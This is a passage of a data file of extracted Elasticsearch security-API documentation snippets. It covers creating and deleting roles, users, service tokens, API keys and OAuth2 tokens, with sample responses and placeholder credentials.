\\\"foo\\\"}}\" // optional\n }\n ],\n \"applications\": [\n {\n \"application\": \"myapp\",\n \"privileges\": [ \"admin\", \"read\" ],\n \"resources\": [ \"*\" ]\n }\n ],\n \"run_as\": [ \"other_user\" ], // optional\n \"metadata\" : { // optional\n \"version\" : 1\n }\n}"}, {"source_location":{"file":"rest-api/security/create-roles.asciidoc","line":136},"digest":"99fbe9dc648835eb750e963f3b5ea9ab","lang":"console-result","found":[],"source":"{\n \"role\": {\n \"created\": true <1>\n }\n}"}, {"source_location":{"file":"rest-api/security/create-roles.asciidoc","line":150},"digest":"3fe4264ace04405989141c43aadfff81","lang":"console","found":[],"source":"POST /_security/role/cli_or_drivers_minimal\n{\n \"cluster\": [\"cluster:monitor/main\"],\n \"indices\": [\n {\n \"names\": [\"test\"],\n \"privileges\": [\"read\", \"indices:admin/get\"]\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/create-roles.asciidoc","line":166},"digest":"4b113c7f475cfe484a150ddbb8e6c5c7","lang":"console","found":[],"source":"POST /_security/role/role_with_remote_indices\n{\n \"remote_indices\": [\n {\n \"clusters\": [ \"my_remote\" ], <1>\n \"names\": [\"logs*\"], <2>\n \"privileges\": [\"read\", \"read_cross_cluster\", \"view_index_metadata\"] <3>\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/create-users.asciidoc","line":112},"digest":"47e6dfb5b09d954c9c0c33fda2b6c66d","lang":"console","found":[],"source":"POST /_security/user/jacknich\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"admin\", \"other_role1\" ],\n \"full_name\" : \"Jack Nicholson\",\n \"email\" : \"jacknich@example.com\",\n \"metadata\" : {\n \"intelligence\" : 7\n }\n}"}, {"source_location":{"file":"rest-api/security/create-users.asciidoc","line":129},"digest":"2f6cf7203c981928aa739a504f3589b1","lang":"console-result","found":[],"source":"{\n \"created\": true <1>\n}"}, {"source_location":{"file":"rest-api/security/create-service-token.asciidoc","line":63},"digest":"f978088f5117d4addd55c11ee3777312","lang":"console","found":[],"source":"POST /_security/service/elastic/fleet-server/credential/token/token1"}, {"source_location":{"file":"rest-api/security/create-service-token.asciidoc","line":70},"digest":"59c4d24b830391c0c0fd0fbce39df151","lang":"console-result","found":[],"source":"{\n \"created\": true,\n \"token\": {\n \"name\": \"token1\",\n \"value\": \"AAEAAWVsYXN0aWM...vZmxlZXQtc2VydmVyL3Rva2VuMTo3TFdaSDZ\" <1>\n }\n}"}, {"source_location":{"file":"rest-api/security/create-service-token.asciidoc","line":97},"digest":"cc56be758d5d75febbd975786187c861","lang":"console","found":[],"source":"POST /_security/service/elastic/fleet-server/credential/token"}, {"source_location":{"file":"rest-api/security/create-service-token.asciidoc","line":105},"digest":"f7b4379151cfb072be0b422ae651c3ab","lang":"console-result","found":[],"source":"{\n \"created\": true,\n \"token\": {\n \"name\": \"Jk5J1HgBuyBK5TpDrdo4\",\n \"value\": \"AAEAAWVsYXN0aWM...vZmxlZXQtc2VydmVyL3Rva2VuMTo3TFdaSDZ\"\n }\n}"}, {"source_location":{"file":"rest-api/security/delegate-pki-authentication.asciidoc","line":77},"digest":"174b93c323aa8e9cc8ee2a3df5736810","lang":"console","found":[],"source":"POST /_security/delegate_pki\n{\n \"x509_certificate_chain\": [\"MIIDeDCCAmCgAwIBAgIUBzj/nGGKxP2iXawsSquHmQjCJmMwDQYJKoZIhvcNAQELBQAwUzErMCkGA1UEAxMiRWxhc3RpY3NlYXJjaCBUZXN0IEludGVybWVkaWF0ZSBDQTEWMBQGA1UECxMNRWxhc3RpY3NlYXJjaDEMMAoGA1UEChMDb3JnMB4XDTIzMDcxODE5MjkwNloXDTQzMDcxMzE5MjkwNlowSjEiMCAGA1UEAxMZRWxhc3RpY3NlYXJjaCBUZXN0IENsaWVudDEWMBQGA1UECxMNRWxhc3RpY3NlYXJjaDEMMAoGA1UEChMDb3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAllHL4pQkkfwAm/oLkxYYO+r950DEy1bjH+4viCHzNADLCTWO+lOZJVlNx7QEzJE3QGMdif9CCBBxQFMapA7oUFCLq84fPSQQu5AnvvbltVD9nwVtCs+9ZGDjMKsz98RhSLMFIkxdxi6HkQ3Lfa4ZSI4lvba4oo+T/GveazBDS+NgmKyq00EOXt3tWi1G9vEVItommzXWfv0agJWzVnLMldwkPqsw0W7zrpyT7FZS4iLbQADGceOW8fiauOGMkscu9zAnDR/SbWl/chYioQOdw6ndFLn1YIFPd37xL0WsdsldTpn0vH3YfzgLMffT/3P6YlwBegWzsx6FnM/93Ecb4wIDAQABo00wSzAJBgNVHRMEAjAAMB0GA1UdDgQWBBQKNRwjW+Ad/FN1Rpoqme/5+jrFWzAfBgNVHSMEGDAWgBRcya0c0x/PaI7MbmJVIylWgLqXNjANBgkqhkiG9w0BAQsFAAOCAQEACZ3PF7Uqu47lplXHP6YlzYL2jL0D28hpj5lGtdha4Muw1m/BjDb0Pu8l0NQ1z3AP6AVcvjNDkQq6Y5jeSz0bwQlealQpYfo7EMXjOidrft1GbqOMFmTBLpLA9SvwYGobSTXWTkJzonqVaTcf80HpMgM2uEhodwTcvz6v1WEfeT/HMjmdIsq4ImrOL9RNrcZG6nWfw0HR3JNOgrbfyEztEI471jHznZ336OEcyX7gQuvHE8tOv5+oD1d7s3Xg1yuFp+Ynh+FfOi3hPCuaHA+7F6fLmzMDLVUBAllugst1C3U+L/paD7tqIa4ka+KNPCbSfwazmJrt4XNiivPR4hwH5g==\"] <1>\n}"}, {"source_location":{"file":"rest-api/security/delegate-pki-authentication.asciidoc","line":88},"digest":"4f1415164aec530ffb78074937f11b5f","lang":"console-result","found":[],"source":"{\n \"access_token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"type\" : \"Bearer\",\n \"expires_in\" : 1200,\n \"authentication\" : {\n \"username\" : \"Elasticsearch Test Client\",\n \"roles\" : [ ],\n \"full_name\" : null,\n \"email\" : null,\n \"metadata\" : {\n \"pki_dn\" : \"O=org, OU=Elasticsearch, CN=Elasticsearch Test Client\",\n \"pki_delegated_by_user\" : \"test_admin\",\n \"pki_delegated_by_realm\" : \"file\"\n },\n \"enabled\" : true,\n \"authentication_realm\" : {\n \"name\" : \"pki1\",\n \"type\" : \"pki\"\n },\n \"lookup_realm\" : {\n \"name\" : \"pki1\",\n \"type\" : \"pki\"\n },\n \"authentication_type\" : \"realm\"\n }\n}"}, {"source_location":{"file":"rest-api/security/delete-app-privileges.asciidoc","line":41},"digest":"ebd76a45e153c4656c5871e23b7b5508","lang":"console","found":[],"source":"DELETE /_security/privilege/myapp/read"}, {"source_location":{"file":"rest-api/security/delete-app-privileges.asciidoc","line":50},"digest":"b8ac8a2f22ee5934b077a82245fa3398","lang":"console-result","found":[],"source":"{\n \"myapp\": {\n \"read\": {\n \"found\" : true\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/delete-role-mappings.asciidoc","line":46},"digest":"261480571394632db40e88fbb6c59c2f","lang":"console","found":[],"source":"DELETE /_security/role_mapping/mapping1"}, {"source_location":{"file":"rest-api/security/delete-role-mappings.asciidoc","line":55},"digest":"5b5daa97b53b478943b50082703a323a","lang":"console-result","found":[],"source":"{\n \"found\" : true\n}"}, {"source_location":{"file":"rest-api/security/delete-roles.asciidoc","line":40},"digest":"cffce059425d3d21e7f9571500d63524","lang":"console","found":[],"source":"DELETE /_security/role/my_admin_role"}, {"source_location":{"file":"rest-api/security/delete-roles.asciidoc","line":49},"digest":"5b5daa97b53b478943b50082703a323a","lang":"console-result","found":[],"source":"{\n \"found\" : true\n}"}, {"source_location":{"file":"rest-api/security/delete-service-token.asciidoc","line":47},"digest":"3a5f2e2313614ea9693545edee22ac43","lang":"console","found":[],"source":"DELETE /_security/service/elastic/fleet-server/credential/token/token42"}, {"source_location":{"file":"rest-api/security/delete-service-token.asciidoc","line":57},"digest":"5b5daa97b53b478943b50082703a323a","lang":"console-result","found":[],"source":"{\n \"found\" : true\n}"}, {"source_location":{"file":"rest-api/security/delete-users.asciidoc","line":39},"digest":"ffd63dd186ab81b893faec3b3358fa09","lang":"console","found":[],"source":"DELETE /_security/user/jacknich"}, {"source_location":{"file":"rest-api/security/delete-users.asciidoc","line":48},"digest":"5b5daa97b53b478943b50082703a323a","lang":"console-result","found":[],"source":"{\n \"found\" : true\n}"}, {"source_location":{"file":"rest-api/security/disable-users.asciidoc","line":45},"digest":"bb293e1bdf0c6f6d9069eeb7edc9d399","lang":"console","found":[],"source":"PUT /_security/user/jacknich/_disable"}, {"source_location":{"file":"rest-api/security/enable-users.asciidoc","line":44},"digest":"adf36e2d8fc05c3719c91912481c4e19","lang":"console","found":[],"source":"PUT /_security/user/jacknich/_enable"}, {"source_location":{"file":"rest-api/security/enroll-kibana.asciidoc","line":28},"digest":"1db715eb00832686ecddb6603684fc26","lang":"console","found":[],"source":"GET /_security/enroll/kibana"}, {"source_location":{"file":"rest-api/security/enroll-node.asciidoc","line":29},"digest":"61a528b86d38c2f17a172326edf6b53b","lang":"console","found":[],"source":"GET /security/enroll/node"}, {"source_location":{"file":"rest-api/security/enroll-node.asciidoc","line":36},"digest":"3d26be75215c8459bc0b7d983956cd03","lang":"console-result","found":[],"source":"{\n \"http_ca_key\" : \"MIIJlAIBAzCCCVoGCSqGSIb3DQEHAaCCCUsEgglHMIIJQzCCA98GCSqGSIb3DQ....vsDfsA3UZBAjEPfhubpQysAICCAA=\", <1>\n \"http_ca_cert\" : \"MIIJlAIBAzCCCVoGCSqGSIb3DQEHAaCCCUsEgglHMIIJQzCCA98GCSqGSIb3DQ....vsDfsA3UZBAjEPfhubpQysAICCAA=\", <2>\n \"transport_ca_cert\" : \"MIIJlAIBAzCCCVoGCSqGSIb3DQEHAaCCCUsEgglHMIIJQzCCA98GCSqG....vsDfsA3UZBAjEPfhubpQysAICCAA=\", <3>\n \"transport_key\" : \"MIIEJgIBAzCCA98GCSqGSIb3DQEHAaCCA9AEggPMMIIDyDCCA8QGCSqGSIb3....YuEiOXvqZ6jxuVSQ0CAwGGoA==\", <4>\n \"transport_cert\" : \"MIIEJgIBAzCCA98GCSqGSIb3DQEHAaCCA9AEggPMMIIDyDCCA8QGCSqGSIb3....YuEiOXvqZ6jxuVSQ0CAwGGoA==\", <5>\n \"nodes_addresses\" : [ <6>\n \"192.168.1.2:9300\"\n ]\n}"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":92},"digest":"a3a2856ac2338a624a1fa5f31aec4db4","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-api-key\",\n \"role_descriptors\": {},\n \"metadata\": {\n \"application\": \"myapp\"\n }\n}"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":107},"digest":"82fb9d0875d69abc2d1724110e60e715","lang":"console-result","found":[],"source":"{\n \"id\":\"VuaCfGcBCdbkQm-e5aOx\",\n \"name\":\"my-api-key\",\n \"api_key\":\"ui2lp2axTNmsyakw9tvNnw\",\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\"\n}"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":122},"digest":"0881397074d261ccc2db514daf116c31","lang":"console","found":[],"source":"GET /_security/api_key?id=VuaCfGcBCdbkQm-e5aOx&with_limited_by=true"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":201},"digest":"7b864d61767ab283cfd5f9b9ba784b1f","lang":"console","found":[],"source":"GET /_security/api_key?name=my-api-key"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":209},"digest":"d1e0fee64389e7c8d4c092030626b61f","lang":"console","found":[],"source":"GET /_security/api_key?name=my-*"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":217},"digest":"10d9da8a3b7061479be908c8c5c76cfb","lang":"console","found":[],"source":"GET /_security/api_key?realm_name=native1"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":225},"digest":"62eafc5b3ab75cc67314d5a8567d6077","lang":"console","found":[],"source":"GET /_security/api_key?username=myuser"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":233},"digest":"9608820dbeac261ba53fb89bb9400560","lang":"console","found":[],"source":"GET /_security/api_key?owner=true"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":240},"digest":"ca5ae0eb7709f3807bc6239cd4bd9141","lang":"console","found":[],"source":"GET /_security/api_key"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":247},"digest":"ce8eebfb810335803630abe83278bee7","lang":"console","found":[],"source":"GET /_security/api_key?active_only=true"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":255},"digest":"87c42ef733a50954e4d757fc0a08decc","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-api-key-1\",\n \"metadata\": {\n \"application\": \"my-application\"\n }\n}"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":269},"digest":"dffbbdc4025e5777c647d8818847b960","lang":"console","found":[],"source":"GET /_security/api_key?id=VuaCfGcBCdbkQm-e5aOx&owner=true"}, {"source_location":{"file":"rest-api/security/get-api-keys.asciidoc","line":279},"digest":"30abc76a39e551f4b52c65002bb6405d","lang":"console","found":[],"source":"GET /_security/api_key?username=myuser&realm_name=native1"}, {"source_location":{"file":"rest-api/security/get-app-privileges.asciidoc","line":58},"digest":"cd8006165ac64f1ef99af48e5a35a25b","lang":"console","found":[],"source":"GET /_security/privilege/myapp/read"}, {"source_location":{"file":"rest-api/security/get-app-privileges.asciidoc","line":67},"digest":"86e449e6a7c3d64f0965b316b9780fad","lang":"console-result","found":[],"source":"{\n \"myapp\": {\n \"read\": {\n \"application\": \"myapp\",\n \"name\": \"read\",\n \"actions\": [\n \"data:read/*\",\n \"action:login\"\n ],\n \"metadata\": {\n \"description\": \"Read access to myapp\"\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/get-app-privileges.asciidoc","line":88},"digest":"3b18e9de638ff0b1c7a1f1f6bf1c24f3","lang":"console","found":[],"source":"GET /_security/privilege/myapp/"}, {"source_location":{"file":"rest-api/security/get-app-privileges.asciidoc","line":95},"digest":"0ddf705317d9c5095b4a1419a2e3bace","lang":"console","found":[],"source":"GET /_security/privilege/"}, {"source_location":{"file":"rest-api/security/get-builtin-privileges.asciidoc","line":55},"digest":"2623eb122cc0299b42fc9eca6e7f5e56","lang":"console","found":[],"source":"GET /_security/privilege/_builtin"}, {"source_location":{"file":"rest-api/security/get-builtin-privileges.asciidoc","line":62},"digest":"2325070fa4a6c836cfe69a836f20a719","lang":"console-result","found":[],"source":"{\n \"cluster\" : [\n \"all\",\n \"cancel_task\",\n \"create_snapshot\",\n \"cross_cluster_replication\",\n \"cross_cluster_search\",\n \"delegate_pki\",\n \"grant_api_key\",\n \"manage\",\n \"manage_api_key\",\n \"manage_autoscaling\",\n \"manage_behavioral_analytics\",\n \"manage_ccr\",\n \"manage_data_frame_transforms\",\n \"manage_data_stream_global_retention\",\n \"manage_enrich\",\n \"manage_ilm\",\n \"manage_index_templates\",\n \"manage_inference\",\n \"manage_ingest_pipelines\",\n \"manage_logstash_pipelines\",\n \"manage_ml\",\n \"manage_oidc\",\n \"manage_own_api_key\",\n \"manage_pipeline\",\n \"manage_rollup\",\n \"manage_saml\",\n \"manage_search_application\",\n \"manage_search_query_rules\",\n \"manage_search_synonyms\",\n \"manage_security\",\n \"manage_service_account\",\n \"manage_slm\",\n \"manage_token\",\n \"manage_transform\",\n \"manage_user_profile\",\n \"manage_watcher\",\n \"monitor\",\n \"monitor_data_frame_transforms\",\n \"monitor_data_stream_global_retention\",\n \"monitor_enrich\",\n \"monitor_inference\",\n \"monitor_ml\",\n \"monitor_rollup\",\n \"monitor_snapshot\",\n \"monitor_text_structure\",\n \"monitor_transform\",\n \"monitor_watcher\",\n \"none\",\n \"post_behavioral_analytics_event\",\n \"read_ccr\",\n \"read_connector_secrets\",\n \"read_fleet_secrets\",\n \"read_ilm\",\n \"read_pipeline\",\n \"read_security\",\n \"read_slm\",\n \"transport_client\",\n \"write_connector_secrets\",\n \"write_fleet_secrets\"\n ],\n \"index\" : [\n \"all\",\n \"auto_configure\",\n \"create\",\n \"create_doc\",\n \"create_index\",\n \"cross_cluster_replication\",\n \"cross_cluster_replication_internal\",\n \"delete\",\n \"delete_index\",\n \"index\",\n \"maintenance\",\n \"manage\",\n \"manage_data_stream_lifecycle\",\n \"manage_follow_index\",\n \"manage_ilm\",\n \"manage_leader_index\",\n \"monitor\",\n \"none\",\n \"read\",\n \"read_cross_cluster\",\n \"view_index_metadata\",\n \"write\"\n ]\n}"}, {"source_location":{"file":"rest-api/security/get-role-mappings.asciidoc","line":64},"digest":"8b3a94495127efd9d56b2cd7f3eecdca","lang":"console","found":[],"source":"GET /_security/role_mapping/mapping1"}, {"source_location":{"file":"rest-api/security/get-role-mappings.asciidoc","line":71},"digest":"5658fa03086f1969f2e1fbc0215eed77","lang":"console-result","found":[],"source":"{\n \"mapping1\": {\n \"enabled\": true,\n \"roles\": [\n \"user\"\n ],\n \"rules\": {\n \"field\": {\n \"username\": \"*\"\n }\n },\n \"metadata\": {}\n }\n}"}, {"source_location":{"file":"rest-api/security/get-roles.asciidoc","line":55},"digest":"115529722ba30b0b0d51a7ff87e59198","lang":"console","found":[],"source":"GET /_security/role/my_admin_role"}, {"source_location":{"file":"rest-api/security/get-roles.asciidoc","line":61},"digest":"ee90e8a3645501f252777737b7466061","lang":"console-result","found":[],"source":"{\n \"my_admin_role\": {\n \"cluster\" : [ \"all\" ],\n \"indices\" : [\n {\n \"names\" : [ \"index1\", \"index2\" ],\n \"privileges\" : [ \"all\" ],\n \"allow_restricted_indices\" : false,\n \"field_security\" : {\n \"grant\" : [ \"title\", \"body\" ]}\n }\n ],\n \"applications\" : [ ],\n \"run_as\" : [ \"other_user\" ],\n \"metadata\" : {\n \"version\" : 1\n },\n \"transient_metadata\": {\n \"enabled\": true\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/get-roles.asciidoc","line":89},"digest":"128283698535116931dca9d16a16dca2","lang":"console","found":[],"source":"GET /_security/role"}, {"source_location":{"file":"rest-api/security/get-service-accounts.asciidoc","line":57},"digest":"73fa0d6d03cd98ea538fff9e89d99eed","lang":"console","found":[],"source":"GET /_security/service/elastic/fleet-server"}, {"source_location":{"file":"rest-api/security/get-service-accounts.asciidoc","line":62},"digest":"c368ac6652e8a2f41d6392e4e1b72530","lang":"console-result","found":[],"source":"{\n \"elastic/fleet-server\": {\n \"role_descriptor\": {\n \"cluster\": [\n \"monitor\",\n \"manage_own_api_key\",\n \"read_fleet_secrets\"\n ],\n \"indices\": [\n {\n \"names\": [\n \"logs-*\",\n \"metrics-*\",\n \"traces-*\",\n \".logs-endpoint.diagnostic.collection-*\",\n \".logs-endpoint.action.responses-*\",\n \".logs-endpoint.heartbeat-*\"\n ],\n \"privileges\": [\n \"write\",\n \"create_index\",\n \"auto_configure\"\n ],\n \"allow_restricted_indices\": false\n },\n {\n \"names\": [\n \"profiling-*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\"\n ],\n \"allow_restricted_indices\": false\n },\n {\n \"names\": [\n \"traces-apm.sampled-*\"\n ],\n \"privileges\": [\n \"read\",\n \"monitor\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": false\n },\n {\n \"names\": [\n \".fleet-secrets*\"\n ],\n \"privileges\": [\n \"read\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-actions*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-agents*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-artifacts*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-enrollment-api-keys*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-policies*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-policies-leader*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-servers*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \".fleet-fileds*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"monitor\",\n \"create_index\",\n \"auto_configure\",\n \"maintenance\"\n ],\n \"allow_restricted_indices\": true\n },\n {\n \"names\": [\n \"synthetics-*\"\n ],\n \"privileges\": [\n \"read\",\n \"write\",\n \"create_index\",\n \"auto_configure\"\n ],\n \"allow_restricted_indices\": false\n }\n ],\n \"applications\": [\n {\n \"application\": \"kibana-*\",\n \"privileges\": [\n \"reserved_fleet-setup\"\n ],\n \"resources\": [\n \"*\"\n ]\n }\n ],\n \"run_as\": [],\n \"metadata\": {},\n \"transient_metadata\": {\n \"enabled\": true\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/get-service-accounts.asciidoc","line":267},"digest":"03891265df2111a38e0b6b24c1b967e1","lang":"console","found":[],"source":"GET /_security/service"}, {"source_location":{"file":"rest-api/security/get-service-credentials.asciidoc","line":51},"digest":"f978088f5117d4addd55c11ee3777312","lang":"console","found":[],"source":"POST /_security/service/elastic/fleet-server/credential/token/token1"}, {"source_location":{"file":"rest-api/security/get-service-credentials.asciidoc","line":59},"digest":"601ad3b0ceccb3fcd282e5ec36748954","lang":"console","found":[],"source":"GET /_security/service/elastic/fleet-server/credential"}, {"source_location":{"file":"rest-api/security/get-settings.asciidoc","line":32},"digest":"dd71b0c9f9197684ff29c61062c55660","lang":"console","found":[],"source":"GET /_security/settings"}, {"source_location":{"file":"rest-api/security/get-tokens.asciidoc","line":111},"digest":"cee591c1fc70d4f180c623a3a6d07755","lang":"console","found":[],"source":"POST /_security/oauth2/token\n{\n \"grant_type\" : \"client_credentials\"\n}"}, {"source_location":{"file":"rest-api/security/get-tokens.asciidoc","line":122},"digest":"bb2930f9621255f8be3f45b4ca1c3099","lang":"console-result","found":[],"source":"{\n \"access_token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"type\" : \"Bearer\",\n \"expires_in\" : 1200,\n \"authentication\" : {\n \"username\" : \"test_admin\",\n \"roles\" : [\n \"superuser\"\n ],\n \"full_name\" : null,\n \"email\" : null,\n \"metadata\" : { },\n \"enabled\" : true,\n \"authentication_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"lookup_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"authentication_type\" : \"realm\"\n }\n}"}, {"source_location":{"file":"rest-api/security/get-tokens.asciidoc","line":166},"digest":"e1337c6b76defd5a46d05220f9d9c9fc","lang":"console","found":[],"source":"POST /_security/oauth2/token\n{\n \"grant_type\" : \"password\",\n \"username\" : \"test_admin\",\n \"password\" : \"x-pack-test-password\"\n}"}, {"source_location":{"file":"rest-api/security/get-tokens.asciidoc","line":179},"digest":"6ec24dbe165d78b717a958ddff1b31ac","lang":"console-result","found":[],"source":"{\n \"access_token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"type\" : \"Bearer\",\n \"expires_in\" : 1200,\n \"refresh_token\": \"vLBPvmAB6KvwvJZr27cS\",\n \"authentication\" : {\n \"username\" : \"test_admin\",\n \"roles\" : [\n \"superuser\"\n ],\n \"full_name\" : null,\n \"email\" : null,\n \"metadata\" : { },\n \"enabled\" : true,\n \"authentication_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"lookup_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"authentication_type\" : \"realm\"\n }\n}"}, {"source_location":{"file":"rest-api/security/get-tokens.asciidoc","line":216},"digest":"d48b274a4b6098ffef0c016c6c945fb9","lang":"console","found":[],"source":"POST /_security/oauth2/token\n{\n \"grant_type\": \"refresh_token\",\n \"refresh_token\": \"vLBPvmAB6KvwvJZr27cS\"\n}"}, {"source_location":{"file":"rest-api/security/get-tokens.asciidoc","line":230},"digest":"bde59dcb8348376c24b78f9a31190a54","lang":"console-result","found":[],"source":"{\n \"access_token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"type\" : \"Bearer\",\n \"expires_in\" : 1200,\n \"refresh_token\": \"vLBPvmAB6KvwvJZr27cS\",\n \"authentication\" : {\n \"username\" : \"test_admin\",\n \"roles\" : [\n \"superuser\"\n ],\n \"full_name\" : null,\n \"email\" : null,\n \"metadata\" : { },\n \"enabled\" : true,\n \"authentication_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"lookup_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"authentication_type\" : \"token\"\n }\n}"}, {"source_location":{"file":"rest-api/security/get-user-privileges.asciidoc","line":34},"digest":"5b191f2dbfa46c774cc9b9b9e8d1d831","lang":"console","found":[],"source":"GET /_security/user/_privileges"}, {"source_location":{"file":"rest-api/security/get-user-privileges.asciidoc","line":39},"digest":"c55de72ed906c6fe82f3435ac63d2072","lang":"console-result","found":[],"source":"{\n \"cluster\" : [\n \"all\"\n ],\n \"global\" : [ ],\n \"indices\" : [\n {\n \"names\" : [\n \"*\"\n ],\n \"privileges\" : [\n \"all\"\n ],\n \"allow_restricted_indices\" : true\n }\n ],\n \"applications\" : [\n {\n \"application\" : \"*\",\n \"privileges\" : [\n \"*\"\n ],\n \"resources\" : [\n \"*\"\n ]\n }\n ],\n \"run_as\" : [\n \"*\"\n ]\n}"}, {"source_location":{"file":"rest-api/security/get-users.asciidoc","line":63},"digest":"3924ee252581ebb96ac0e60046125ae8","lang":"console","found":[],"source":"GET /_security/user/jacknich"}, {"source_location":{"file":"rest-api/security/get-users.asciidoc","line":69},"digest":"bac6203259754d2f09c1ebeecc9ded5d","lang":"console-result","found":[],"source":"{\n \"jacknich\": {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\", \"other_role1\"\n ],\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\",\n \"metadata\": { \"intelligence\" : 7 },\n \"enabled\": true\n }\n}"}, {"source_location":{"file":"rest-api/security/get-users.asciidoc","line":87},"digest":"568979150ce18739f8d3ea859355aaa3","lang":"console","found":[],"source":"GET /_security/user/jacknich?with_profile_uid=true"}, {"source_location":{"file":"rest-api/security/get-users.asciidoc","line":93},"digest":"926c347bc2bcdf127ec8270cb3adb6a8","lang":"console-result","found":[],"source":"{\n \"jacknich\": {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\", \"other_role1\"\n ],\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\",\n \"metadata\": { \"intelligence\" : 7 },\n \"enabled\": true,\n \"profile_uid\": \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\"\n }\n}"}, {"source_location":{"file":"rest-api/security/get-users.asciidoc","line":113},"digest":"abdbc81e799e28c833556b1c29f03ba6","lang":"console","found":[],"source":"GET /_security/user"}, {"source_location":{"file":"rest-api/security/grant-api-keys.asciidoc","line":127},"digest":"249bf48252c8cea47ef872541c8a884c","lang":"console","found":[],"source":"POST /_security/api_key/grant\n{\n \"grant_type\": \"password\",\n \"username\" : \"test_admin\",\n \"password\" : \"x-pack-test-password\",\n \"api_key\" : {\n \"name\": \"my-api-key\",\n \"expiration\": \"1d\",\n \"role_descriptors\": {\n \"role-a\": {\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [\"index-a*\"],\n \"privileges\": [\"read\"]\n }\n ]\n },\n \"role-b\": {\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [\"index-b*\"],\n \"privileges\": [\"all\"]\n }\n ]\n }\n },\n \"metadata\": {\n \"application\": \"my-application\",\n \"environment\": {\n \"level\": 1,\n \"trusted\": true,\n \"tags\": [\"dev\", \"staging\"]\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/grant-api-keys.asciidoc","line":172},"digest":"91c925fc71abe0ddfe52457e9130363b","lang":"console","found":[],"source":"POST /_security/api_key/grant\n{\n \"grant_type\": \"password\",\n \"username\" : \"test_admin\", <1>\n 